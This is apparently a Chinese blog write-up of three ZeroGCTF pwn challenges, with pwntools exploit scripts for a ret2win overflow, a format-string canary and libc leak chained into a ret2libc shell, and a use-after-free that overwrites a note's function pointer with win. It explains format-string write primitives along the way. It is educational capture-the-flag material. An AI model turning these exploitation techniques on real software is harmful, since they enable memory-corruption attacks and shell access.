首页/文章/CTF PWN

CTF 复健之 ZeroGCTF PWN WP

ZeroGCTF WP

学习不是为了征服世界,而是为了不辜负每一次好奇心的出发。

ret2win

alt text

alt text

alt text

一个 ret2text 没什么好说的

python
#!/usr/bin/env python3from pwn import *context(arch='amd64', os='linux')p = process('./starport_ret2win')elf = ELF('./starport_ret2win')rop = ROP(elf)offset = 0x40 + 8win_addr = elf.symbols['win']payload = b'A' * offset + flat(    win_addr)p.recvuntil(b'Input access token:\n')p.sendline(payload)p.interactive()

alt text

format

前置知识格式化字符串漏洞

安全 printf 参数传递

c
printf("A = %d, B = %x\n", 123, 0xaaaa)//按照参数调用约定 , 上述三个参数依次存入 `rdi rsi rdx`//那么从 A 开始打印,遇见第一个 %d 从 rsi去取 ,取后继续打印,遇到 %x ,去 rdx 取值,继续打印A = 123 ,B = aaaa

那么如果我们直接传入了 buf,例如:

c
printf(buf) //或者是我们可以自己控制的一个参数,假如 buf上布局 %p %p %p %p

由于我们未控制rsi rdx rcx 等寄存器,printf 也会自己去取得当前寄存器里面的值,加入我们传入的格式化字符串足够多,当六个寄存器全被使用后,剩下的根据参数调用约定,printf 会向栈上去取得对应的参数。
我们也可以指定去取第几个参数,例如:

c
%7$x %7$p//规定了取第七个参数,然后格式化字符串来决定怎么去解释这个参数

任意地址写

c
AAAA%7$n 已经输出了 4 个字符,将 4 写入第七个参数指向的地址,例如第七个参数 0x7f458952 : 04 00 00 00 : 4
c
%100c%7$n,那么已经输出了 100 宽度的字符 0x7f45895264 00 00 00
c
%n 写入 4 字节%hn 写入 2 字节%hhn 写入 1 字节

赛题部分

checksec

alt text

保护基本全开,只有PIE关了
alt text

关键漏洞

c
printf(buf, canary, puts);

这里传入了三个参数,其中 rsirdx里面分别保存了 canaryputs 函数的plt地址,那我们这块可以打一个ret2libc。 我们首先得构造我们的payload,首先确定偏移量,之后我们在我们后面的payload传入elf.got["puts"],利用 %s 读取 putslibc 地址

python
p.recvuntil(b'Send your format beacon:\n')payload = b'AAAA-' + b'.'.join([f'%{i}$p'.encode() for i in range(1, 30)])p.sendline(payload)print(p.recvline())

alt text

可以看见,0x41414141出现在第 10 个位置,即offset = 10 + 6 也可以直接手算,此时 bufrsp+0x50h,那么对应的偏移量就是80/8 + 6 = 16。不过由于不能保证当调用printf 函数时此时buf就是距离rsp+0x50h的位置,所以最好还是实际泄露计算一下。

python
#! /usr/bin/env python3from pwn import *context(arch='amd64', os='linux')elf = ELF('./format_station')rop = ROP(elf)libc = ELF('./libc.so.6')p = process('./format_station_patched')p.recvuntil(b'Send your format beacon:\n')payload = b'%1$p.%18$s.END' + b'A' * (16 - len(b'%1$p.%18$s.END')) + p64(elf.got['puts'])p.sendline(payload)data = p.recvuntil(b"Send your access packet:\n")canary = int(data.split(b".", 1)[0], 16)leak = data.split(b".", 1)[1].split(b".END", 1)[0]puts_addr = u64(leak.ljust(8, b"\x00"))libc.address = puts_addr - libc.sym["puts"]print("canary   = %#x" % canary)print("puts     = %#x" % puts_addr)print("libc     = %#x" % libc.address)offset = 0xC8payload = b'A' * offset + p64(canary) + p64(0) + flat(    rop.find_gadget(['ret']).address,    rop.find_gadget(['pop rdi', 'ret']).address,    next(libc.search(b"/bin/sh\x00")),    libc.sym['system'])p.sendline(payload)p.interactive()

alt text

note

alt text

可以看见有四个功能函数,分别是创建 note, 删除 note ,编辑 note 和展示 note,还有一个 win 函数
alt text
那思路很明显,我们想办法让程序执行 win 函数

c
int create_note(){  _QWORD *v1; // [rsp+0h] [rbp-10h]    int i; // [rsp+8h] [rbp-8h]  int v3; // [rsp+Ch] [rbp-4h]  v3 = -1;  for ( i = 0; i <= 7; ++i )  {    if ( !*(&notes + i) )    {      v3 = i;      break;    }  }  if ( v3 < 0 )    return puts("[-] note storage full");  v1 = malloc(0x50u);  if ( !v1 )  {    puts("[-] malloc failed");    exit(1);  }  *v1 = safe_print;  memset(v1 + 1, 0, 0x48u);  puts("Input note content:");  read(0, v1 + 1, 0x47u);  *(&notes + v3) = v1;  return printf("[+] note created at index %d\n", v3);}

经过静态分析,可以看出只能最多创建 8 个 note ,其中有一个 _QWORD *V1 ,就是一个指针,这个指针指向 safe_print 函数地址,同时也是返回的堆起始地址,而memset(v1 + 1, 0, 0x48u); ,是从第 8 字节开始,连续 0x48 字节进行初始化为 0 。那么这个反编译伪代码不妨看得更清楚一些,换成源码。

c
int create_note()  {      struct note *new_note;      int i;      int idx = -1;      for (i = 0; i <= 7; i++) {          if (notes[i] == NULL) {              idx = i;              break;          }      }      if (idx < 0) {          return puts("[-] note storage full");      }      new_note = malloc(0x50);      if (new_note == NULL) {          puts("[-] malloc failed");          exit(1);      }      new_note->print = safe_print;      memset(new_note->content, 0, 0x48);      puts("Input note content:");      read(0, new_note->content, 0x47);      notes[idx] = new_note;      return printf("[+] note created at index %d\n", idx);  }

其中对应结构体布局

c
 struct note {      void (*print)(struct note *);      char content[0x48];  };

当我们创建完一个 note 后,内存状态大致是

text
safe print           8 bytesnote content         0x48 bytes

接下来看 delete_note

c
int delete_note(){  signed int v1; // [rsp+Ch] [rbp-4h]  printf("Index: ");  v1 = read_int();  if ( (unsigned int)v1 >= 8 || !*(&notes + v1) )    return puts("[-] invalid index");  free(*(&notes + v1));  return puts("[+] note deleted");}

这个函数实现了删除指定 note 的功能,但有一个漏洞点就是 free 之后,指针未置空
转换成源码

c
 int delete_note()  {      int idx;      printf("Index: ");      idx = read_int();      if ((unsigned int)idx >= 8 || notes[idx] == NULL) {          return puts("[-] invalid index");      }      free(notes[idx]);      return puts("[+] note deleted");  }

看 edit_note

c
int edit_note(){  signed int v1; // [rsp+Ch] [rbp-4h]  printf("Index: ");  v1 = read_int();  if ( (unsigned int)v1 >= 8 || !*(&notes + v1) )    return puts("[-] invalid index");  puts("Input raw note data:");  read(0, *(&notes + v1), 0x50u);  return puts("[+] note updated");}

这个也不难理解,刚才指针未置空,那么我们可以直接向悬空指针内写入数据
接下来看 show_note

c
int show_note(){  signed int v1; // [rsp+Ch] [rbp-4h]  printf("Index: ");  v1 = read_int();  if ( (unsigned int)v1 < 8 && *(&notes + v1) )    return (*(__int64 (__fastcall **)(_QWORD))*(&notes + v1))(*(&notes + v1));  else    return puts("[-] invalid index");}

又是又臭又长的伪代码,我们先化简,把 *(&notes + v1) 换成 notes[v1]
return (*(__int64 (__fastcall **)(_QWORD))*(&notes + v1))(*(&notes + v1)); 就变成了 return (*(_int64(fastcall **)(_QWORD))notes[v1](notes[v1]); 再拆开看 _int64(fastcall *)(_QWORD) 就是一个函数指针,接受 DWORD 参数 ,返回 int64 ,那多一个 * 就是指向函数指针的指针。而最开始的 * 即解释这个地址,而我们的布局,这个位置正是 safe_print 函数 ,那么我们其实就成了 safe_print(note[v1])。
那么一切都搞清楚了,exp 如下

python
#! /usr/bin/env python3from pwn import *context(arch='amd64', os='linux')p = process('./orbit_notes')elf = ELF('./orbit_notes')rop = ROP(elf)p.recvuntil(b'> ')p.sendline(b'1')p.recvuntil(b'Input note content:\n')p.sendline(b'A')p.recvuntil(b'> ')p.sendline(b'2')p.recvuntil(b'Index: ')p.sendline(b'0')p.recvuntil(b'> ')p.sendline(b'3')p.recvuntil(b'Index: ')p.sendline(b'0')p.recvuntil(b'Input raw note data:\n')payload = p64(elf.symbols['win']) + b'B' * 8p.sendline(payload)p.recvuntil(b'> ')p.sendline(b'4')p.recvuntil(b'Index: ')p.sendline(b'0')p.interactive()

alt text

许可协议

本文采用 署名-非商业性使用-相同方式共享 4.0 国际 许可协议,转载请注明出处。

读者回信

正在翻开留言页...